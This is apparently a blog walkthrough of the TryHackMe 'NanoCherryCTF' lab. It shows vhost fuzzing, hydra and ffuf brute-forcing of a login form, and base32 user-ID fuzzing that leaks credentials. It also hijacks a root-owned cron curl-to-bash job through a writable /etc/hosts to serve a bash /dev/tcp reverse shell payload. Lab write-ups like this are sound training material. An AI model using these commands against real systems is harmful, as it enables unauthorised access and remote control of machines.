Post

TryHackMe: NanoCherryCTF

TryHackMe: NanoCherryCTF

NanoCherryCTF included collecting three parts of a password by gaining access to the machine as three different users. We gained first part by brute-forcing a login page, second part by fuzzing, and third part by abusing a cronjob. After collecting all the parts, we were able to use them to get to another user, which allowed us to read an audio file. Decoding the SSTV transmission inside it, we got a password and used it to gain root access.

Tryhackme Room Link

Initial Enumeration

Nmap Scan

$ nmap -T4 -n -sC -sV -Pn -p- 10.10.97.115 Nmap scan report for 10.10.97.115 Host is up (0.094s latency). Not shown: 65533 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 9e:e6:fd:19:23:a3:b1:40:77:1c:a4:c4:2f:e6:d3:4b (ECDSA) |_ 256 15:2b:23:73:3f:c8:8a:a3:b4:aa:1d:ae:70:d4:5f:ae (ED25519) 80/tcp open http Apache httpd 2.4.52 ((Ubuntu)) |_http-title: Cherry on Top Ice Cream Shop |_http-server-header: Apache/2.4.52 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

There are two ports open:

  • 22/SSH
  • 80/HTTP

We are given a hostname at the start, adding it to our hosts file.

10.10.97.115 cherryontop.thm

We are also given a set of credentials for a user on the machine, which we will use shortly.

  • notsus:dontbeascriptkiddie

Shell as molly-milk

Discovering the VHOST

Using the credentials we are given, we are able to get an SSH session as the notsus user.

$ ssh notsus@cherryontop.thm

This allows us to read the /etc/apache2/sites-enabled/b.cherryontop.thm.conf file and discover the nano.cherryontop.thm VHOST.

$ cat /etc/apache2/sites-enabled/b.cherryontop.thm.conf <VirtualHost *:80> ... ServerAdmin webmaster@localhost ServerName nano.cherryontop.thm ServerAlias nano.cherryontop.thm DocumentRoot /var/www/b.cherryontop.thm ... </VirtualHost> # vim: syntax=apache ts=4 sw=4 sts=4 sr noet

We can also discover the VHOST by fuzzing.

$ ffuf -u 'http://cherryontop.thm/' -H 'Host: FUZZ.cherryontop.thm' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -t 100 -fs 13968 ... nano [Status: 200, Size: 10718, Words: 4093, Lines: 220, Duration: 493ms]

Adding it to our hosts file.

10.10.97.115 cherryontop.thm nano.cherryontop.thm

Brute-forcing the Credentials

Visiting http://nano.cherryontop.thm/, we get a page about The Cult of Nano.

Web 80 Nano Index

Clicking the Admin button on the navigation bar, we get redirected to http://nano.cherryontop.thm/login.php, where we find a login form.

Web 80 Nano Login

Testing the form with simple credentials, we get the message This user doesn't exist.

Web 80 Nano Login Fail

With a message like that, we can assume that we will be able to discover valid usernames with brute-force.

Using ffuf or hydra, we discover a valid username: puppet

$ ffuf -u 'http://nano.cherryontop.thm/login.php' -X POST -d 'username=FUZZ&password=admin&submit=' -H 'Content-Type: application/x-www-form-urlencoded' -w /usr/share/seclists/Usernames/top-usernames-shortlist.txt -mc all -t 100 -fr "This user doesn't exist" ... puppet [Status: 200, Size: 2370, Words: 733, Lines: 61, Duration: 453ms] $ hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -p admin nano.cherryontop.thm http-post-form "/login.php:username=^USER^&password=^PASS^&submit=:This user doesn't exist" -t 64 -F ... [80][http-post-form] host: nano.cherryontop.thm login: puppet password: admin ...

Now, trying to login with the valid username, we can see that we get the message: Bad password

Web 80 Nano Login Fail Two

We can also brute-force for the password, same way as before.

$ ffuf -u 'http://nano.cherryontop.thm/login.php' -X POST -d 'username=puppet&password=FUZZ&submit=' -H 'Content-Type: application/x-www-form-urlencoded' -w /usr/share/seclists/Passwords/cirt-default-passwords.txt -mc all -t 100 -fr "Bad password" ... master [Status: 302, Size: 333, Words: 37, Lines: 12, Duration: 143ms] $ hydra -l puppet -P /usr/share/seclists/Passwords/cirt-default-passwords.txt nano.cherryontop.thm http-post-form "/login.php:username=^USER^&password=^PASS^&submit=:Bad password" -t 64 -F ... [80][http-post-form] host: nano.cherryontop.thm login: puppet password: master ...

Using the discovered credentials to login, we get redirected to http://nano.cherryontop.thm/command.php, where we discover the flag for the Molly’s dashboard.

Web 80 Nano Dashboard

Checking the posts, we also get a password for SSH.

Web 80 Nano Dashboard Password

Using the shell we have as the notsus user, we can get the username for Molly from the /etc/passwd file.

$ cat /etc/passwd | grep 'sh$' root:x:0:0:root:/root:/bin/bash chad-cherry:x:1000:1000:Chad Cherry:/home/chad-cherry:/bin/bash molly-milk:x:1001:1001::/home/molly-milk:/bin/sh sam-sprinkles:x:1002:1002::/home/sam-sprinkles:/bin/sh bob-boba:x:1003:1003::/home/bob-boba:/bin/sh notsus:x:1004:1004::/home/.notsus:/bin/sh

Now, using the password we have along with the molly-milk username, we are able to use SSH to get a shell and read the first part of the Chad Cherry’s password.

$ ssh molly-milk@cherryontop.thm $ wc -c chads-key1.txt 11 chads-key1.txt

Shell as sam-sprinkles

Fuzzing for IDs

Visiting http://cherryontop.thm/, we get a page about an ice cream shop.

Web 80 Index

Clicking the Ice Cream Facts on the navigation bar, we get redirected to http://cherryontop.thm/content.php where we can get facts about ice cream.

Upon submitting the form to get a fact, we see our request is this: http://cherryontop.thm/content.php?facts=1&user=I52WK43U

Web 80 Facts

By fuzzing, we discover a couple more facts apart from the ones listed on the form.

$ ffuf -u 'http://cherryontop.thm/content.php?facts=FUZZ&user=I52WK43U' -w <(seq 1 100) -mc all -fw 754 ... 1 [Status: 200, Size: 2499, Words: 759, Lines: 63, Duration: 86ms] 2 [Status: 200, Size: 2519, Words: 762, Lines: 63, Duration: 85ms] 3 [Status: 200, Size: 2514, Words: 762, Lines: 63, Duration: 85ms] 4 [Status: 200, Size: 2523, Words: 761, Lines: 63, Duration: 85ms] 20 [Status: 200, Size: 2479, Words: 755, Lines: 63, Duration: 87ms] 43 [Status: 200, Size: 2498, Words: 759, Lines: 63, Duration: 86ms] 50 [Status: 200, Size: 2487, Words: 757, Lines: 63, Duration: 88ms] 64 [Status: 200, Size: 2486, Words: 757, Lines: 63, Duration: 87ms]

Checking all of them, we don’t get anything useful.

Fuzzing with Usernames

One interesting thing is the user value, which is Guest base32 encoded.

$ echo I52WK43U | base32 -d Guest

Since we already have a list of usernames, we can convert them to base32 and fuzz for other facts we might access. Seeing the Guest, we also add Admin to the list of usernames.

root chad-cherry molly-milk sam-sprinkles bob-boba notsus Admin

Converting them to base32 for fuzzing.

$ for i in $(cat usernames.txt); do echo -n $i | base32 >> base32-usernames.txt; done

Now, fuzzing the IDs along with the usernames and filtering the facts we already got, we see a couple of different results for the same IDs we found before.

$ ffuf -u 'http://cherryontop.thm/content.php?facts=IDS&user=USER' -w <(seq 1 100):IDS -w base32-usernames.txt:USER -mc all -t 100 -fw 754 -fs 2499,2519,2514,2523,2479,2498,2487,2486 [Status: 200, Size: 2531, Words: 765, Lines: 63, Duration: 88ms] * IDS: 64 * USER: MNUGCZBNMNUGK4TSPE====== [Status: 200, Size: 2572, Words: 771, Lines: 63, Duration: 103ms] * IDS: 50 * USER: NVXWY3DZFVWWS3DL [Status: 200, Size: 2558, Words: 764, Lines: 63, Duration: 123ms] * USER: ONQW2LLTOBZGS3TLNRSXG=== * IDS: 43 [Status: 200, Size: 2558, Words: 769, Lines: 63, Duration: 131ms] * USER: MJXWELLCN5RGC=== * IDS: 20 [Status: 200, Size: 2558, Words: 764, Lines: 63, Duration: 469ms] * IDS: 43 * USER: IFSG22LO

Checking them one by one, we see that we get the SSH credentials for sam-sprinkles on the fact with ID 43, if we use the username Admin (IFSG22LO) or sam-sprinkles (ONQW2LLTOBZGS3TLNRSXG===).

Web 80 Facts Credentials

Using the discovered credentials with SSH, we get a shell as sam-sprinkles and can read the second part of the Chad Cherry’s password.

$ ssh sam-sprinkles@cherryontop.thm $ wc -c chads-key2.txt 7 chads-key2.txt

Shell as bob-boba

Discovering the Cronjob

Going back to the shell we have as the notsus user and enumerating the system, we discover a cronjob running as bob-boba at /etc/crontab.

notsus@nanocherryctf:~$ cat /etc/crontab ... * * * * * bob-boba curl cherryontop.tld:8000/home/bob-boba/coinflip.sh | bash

It fetches a script from cherryontop.tld:8000/home/bob-boba/coinflip.sh and executes it by piping it into bash.

Writable hosts File

Also enumerating the system more either manually or by using linpeas, we discover that the /etc/hosts file is writable.

notsus@nanocherryctf:~$ ls -la /etc/hosts -rw-rw-rw- 1 root adm 312 Apr 8 2023 /etc/hosts

We can use this with the cronjob from before to escalate to the bob-boba user. For this, we can add an entry to the /etc/hosts file to make the cherryontop.tld resolve to our IP address. Then, we can start a HTTP server to serve /home/bob-boba/coinflip.sh file with a reverse shell payload. So, when the cronjob runs for the next time, it will fetch the script to run from our server and will run our reverse shell payload.

First, setting up our HTTP server to serve the script.

$ mkdir -p home/bob-boba/ $ echo '/bin/bash -i >& /dev/tcp/10.11.72.22/443 0>&1' > home/bob-boba/coinflip.sh $ python3 -m http.server 8000 Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Adding the entry to /etc/hosts to make the server resolve cherryontop.tld to our IP address.

notsus@nanocherryctf:~$ echo '10.11.72.22 cherryontop.tld' >> /etc/hosts

Now, after waiting a couple of seconds, we can see the server fetching the script from our server.

10.10.95.168 - - [06/Jul/2024 10:03:01] "GET /home/bob-boba/coinflip.sh HTTP/1.1" 200 -

And we get a shell as the bob-boba user in our listener and can read the third and last part of the Chad Cherry’s password.

$ nc -lvnp 443 listening on [any] 443 ... connect to [10.11.72.22] from (UNKNOWN) [10.10.95.168] 37698 bash: cannot set terminal process group (2471): Inappropriate ioctl for device bash: no job control in this shell bob-boba@nanocherryctf:~$ id uid=1003(bob-boba) gid=1003(bob-boba) groups=1003(bob-boba) bob-boba@nanocherryctf:~$ ls bob-boba@nanocherryctf:~$ wc -c chads-key3.txt wc -c chads-key3.txt 10 chads-key3.txt

Shell as chad-cherry

Combining all the password parts we discovered, we can use them with SSH to get a shell as chad-cherry and can read the Chad Cherry flag.

$ ssh chad-cherry@cherryontop.thm chad-cherry@nanocherryctf:~$ wc -c chad-flag.txt 22 chad-flag.txt

Shell as root

Looking at the files in chad-cherry’s home, we discover a note, with the important part being that we can discover the root password inside the .wav file.

chad-cherry@nanocherryctf:~$ cat Hello.txt ... You can find the password to the root account in the .wav file. Whomever you are, if you're a smart enough hacker, you'll figure it out. ..

Just like the note mentions, we also have a .wav file in the user’s home.

chad-cherry@nanocherryctf:~$ ls -la rootPassword.wav -rw-rw-r-- 1 chad-cherry chad-cherry 3326066 Jan 5 2024 rootPassword.wav

We can download it using scp.

$ scp chad-cherry@cherryontop.thm:rootPassword.wav .

Opening it in audacity and checking the spectrogram, we see what looks like a SSTV transmission.

Root Password Spectrogram

We can use the program from here to decode it and get the transmitted image.

$ sstv -d rootPassword.wav -o rootPassword.png [sstv] Searching for calibration header... Found! [sstv] Detected SSTV mode Robot 36 [sstv] Decoding image... [#############################################################################################] 99% [sstv] Reached end of audio whilst decoding. [sstv] Drawing image data... [sstv] ...Done!

Looking at the decoded image, we get the password for the root user.

Root Password

Using the password, we can switch to the root user and read the root flag.

chad-cherry@nanocherryctf:~$ su - root Password: root@nanocherryctf:~# wc -c root-flag.txt 36 root-flag.txt
This post is licensed under CC BY 4.0 by the author.